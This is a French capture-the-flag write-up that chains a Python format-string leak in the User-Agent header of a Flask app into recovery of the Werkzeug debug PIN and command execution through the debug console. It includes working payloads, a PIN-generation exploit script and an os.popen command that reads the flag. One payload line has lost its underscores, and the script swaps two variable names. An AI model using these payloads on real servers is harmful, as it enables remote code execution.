Solution de vozec pour Tweedle Dum

web python

14 novembre 2023

Introduction

Les sources de ce challenges sont fournies :

.
├── docker-compose.yml
├── Dockerfile
└── src
    ├── app.py
    ├── static
    │   ├── style.css
    │   └── tweedle.png
    └── templates
        └── index.html

La partie qui nous intéresse est le fichier app.py:

from flask import Flask, request, render_template
from werkzeug.middleware.proxy_fix import ProxyFix
from werkzeug.debug import DebuggedApplication

# No bruteforce needed, this is just here so you don't lock yourself or others out by accident
DebuggedApplication._fail_pin_auth = lambda self: None

app = Flask(__name__)

app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1)

@app.route("/")
def hello_agent():
    ua = request.user_agent
    return render_template("index.html", msg=f"Hello {ua}".format(ua=ua))


# TODO: add the vulnerable code here

La challenge ce présente donc sous la forme d’une application web qui tourne sur le serveur flask. Le seul endpoint qui semble atteignable est à la racine : https://tweedle-dum.france-cybersecurity-challenge.fr/

Si on se concentre sur le code, on comprend que notre User-Agent est render dans la template html:

  • render_template("index.html", msg=f"Hello {ua}".format(ua=ua))
  • <div id="bubble">{{msg}}</div> (index.html)

Ce genre de code n’est pas vulnérable à une SSTI Server-Side-Template-Injection puisque la variable ua est correctement render.

En revanche une subtilité rend ce code vulnérable à une attaque par Format-String :

f"Hello {ua}".format(ua=ua)

La présence d’une double format string permet d’injecter un payload dans la variable ua

Explications :

  • La première format string agit de la sorte:

    >>> ua = 'vozec'
    >>> f"Hello {ua}"
    'Hello vozec'
    
  • La seconde :

    >>> ua = 'vozec'
    >>> "Hello {ua}".format(ua=ua)
    'Hello vozec'
    
Vulnérabilité :

Si on injecte ce type d’entrée : {ua.__class__}, la première format-string va créer cette string:

"Hello {{ua.__class__}}"

et la seconde va render et remplacer ua.__class__ par l’objet python correspondant.

On peut vérifier de cette manière :

curl https://tweedle-dum.france-cybersecurity-challenge.fr -H 'User-Agent:{ua.__class__}'
  • Résultat:
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Tweedle Dum</title>
    <link rel="stylesheet" href="/static/style.css" />
  </head>
  <body>
    <main>
      <div id="bubble">Hello &lt;class &#39;werkzeug.user_agent.UserAgent&#39;&gt;</div>
    </main>
    <!-- <a href="/console">Werkzeug console</a> -->
  </body>
</html>

Nous avons une <class 'werkzeug.user_agent.UserAgent'> en sortie de cette format string.

From Format-string to RCE:

On remarque dans l’html ce commentaire :

<a href="/console">Werkzeug console</a>

En y accédant, on se retrouve confronté à un code pin !

La présence de cette console de debug s’explique par la présence de cet argument passé dans l’application flask (Dockerfile) :

  • CMD ["flask", "run", "--host=0.0.0.0", "--port=2202", "--debug"]
    

L’idée ici va être de retrouver ce pin pour accéder à cette console et ainsi exécuter des commandes directement.

Cette théorie est appuyée par la présence de cette ligne dans app.py :

DebuggedApplication._fail_pin_auth = lambda self: None

Si on compare avec la fonction _fail_pin_auth originale (présente ici) :

def _fail_pin_auth(self) -> None:
    time.sleep(5.0 if self._failed_pin_auth > 5 else 0.5)
    self._failed_pin_auth += 1

On comprend que l’auteur du challenge réécris le compteur d’échec de tentative de pin pour empêcher d’être banni par le serveur et de ne plus pouvoir résoudre le challenge.

Récupération du pin :

On va se rendre dans le code source de werkzeug pour comprendre comment ce pin est généré : Lien: ici

Voici le code complet qui génère le pin :

probably_public_bits = [
    username,
    modname,
    getattr(app, "__name__", type(app).__name__),
    getattr(mod, "__file__", None),
]

private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

Toute la génération se base sur 2 listes pour un total de 6 variables :

  • probably_public_bits
    • username
    • modname
    • app.__name__
    • app.__file__
  • private_bits
    • uuid.getnode()
    • get_machine_id()

Récupérons donc toute ces variables !

Username:

La valeur est spécifié dans le Dockerfile, c’est le nom d’utilisateur qui lance le serveur:

USER guest

Nous avons donc une partie des probably_public_bits: username=guest

Modname:

La valeur du modname est constante : modname=flask.app

App.__name__:

La valeur du app.__name__ est constante : app.__name__=Flask

App.__file__:

On cherche ici a récupérer le path du fichier app.py interne à flask. Ici, deux méthodes s’offrent à nous :

  • Démarrer l’application en local avec le Dockerfile et récupérer le chemin d’accès.
  • Utiliser le StackTrace de flask pour récupérer le path dans les logs verbeux renvoyés par le serveur.

J’ai utilisé la 2nd méthode.

Si on envoie un User-Agent avec une payload volontairement erronée comme {ua.__class__.vozec}, on obtient:

aaa

=> app.__file__=/usr/local/lib/python3.10/site-packages/flask/app.py

Uuid et MachineId

Vient ici toute la difficulté du challenge.

Nous allons devoir utiliser la format string pour faire fuiter ces informations.

On retourne dans le code source de werkzeug pour localiser ou sont ces informations.

  • La variable _machine_id est globale ce qui veut dire qu’elle est récupérable dans le module werkzeug.debug ici

  • De même, uuid est un module opensource présent dans le coeur de Python et la variable recherchée est elle aussi globale ici

Exploitation complète de la Format-String:

Au cours de mes recherches, j’ai trouvé ce writeup du TokyoWesterns CTF 2018 : Shrine writeup. Il est très instructif mais surtout, nous fournit ce code pour parcourir les objets python.

Notre but ici va être de trouver un moyen de :

  • Accéder au modules sys
  • Utiliser sys pour retrouver les autres modules
  • Accéder à werkzeug.debug
  • Accéder à werkzeug.debug.uuid._node et werkzeug.debug._machine_id

On utilise ce code python pour explorer le module ua:

from flask import Flask, request, render_template

app = Flask(__name__)
@app.route("/")
def hello_agent():
    best = 9999999999
    ua = request.user_agent
    for path, obj in search(ua, 50):
        if str(obj).startswith("<module 'sys'"):
            if len(path) < best:
                best = len(path)
                print(path)
    return {'hello':'World'}


def search(obj, max_depth):

    visited_clss = []
    visited_objs = []

    def visit(obj, path='obj', depth=0):
        yield path, obj

        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            # print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)

        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass

        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

    yield from visit(obj)

On peut accéder au module sys de ces différentes manières :

  • {ua.__class__.__init__.__globals__[t].sys}
    
  • {ua.__class__.to_header.__globals__['__loader__'].__class__.__weakref__.__objclass__.get_data.__globals__['__loader__'].create_module.__globals__['__builtins__']['__build_css__'].__self__.copyright.__class__._Printer__setup.__globals__['sys']}
    

Résultat :

<div id="bubble">Hello <module 'sys' (built-in)></div>

On peut donc sélectionner le module werkzeug.debug:

{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]}

puis enfin, les deux variables tant recherchées:

{ua.class.init.globals[t].sys.modules[werkzeug.debug]._machine_id}


-  ```python
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}

Combinaison des informations et RCE finale :

On peut donc tout lier pour obtenir le pin :

import requests
import re
import html
import hashlib
from itertools import chain

url = 'https://tweedle-dum.france-cybersecurity-challenge.fr'

def render(payload):
	r = requests.get(url,headers={"User-Agent":payload}).text
	return html.unescape(re.findall(r'Hello (.*?)</div>',r)[0])

machine_id = render(r'{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}')
uuid = eval(render(r'{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}')) # b'XXX-XXX-XXX...'


probably_public_bits = [
	'guest',
	'flask.app',
	'Flask',
	'/usr/local/lib/python3.10/site-packages/flask/app.py',
]

private_bits = [
	machine_id,
	uuid
 ]

num = None
rv = None

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode("utf-8")
	h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

if num is None:
	h.update(b"pinsalt")
	num = f"{int(h.hexdigest(), 16):09d}"[:9]

if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = "-".join(
				num[x : x + group_size].rjust(group_size, "0")
				for x in range(0, len(num), group_size)
			)
			break
	else:
		rv = num

print(rv)

Résultat :

[/mnt/c/Users/vozec/Desktop]$ python3 FCSC/Tweedle\ Dum.py
415-333-840

On peut donc le rentrer sur le /console et accéder à la console python. On flag finalement grâce au module os:

__import__('os').popen('cat flag*').read();
FCSC{9430d095589535ddf50fd070a9baad98a7203fd4cdd029b8ffc5c6ebb512f934}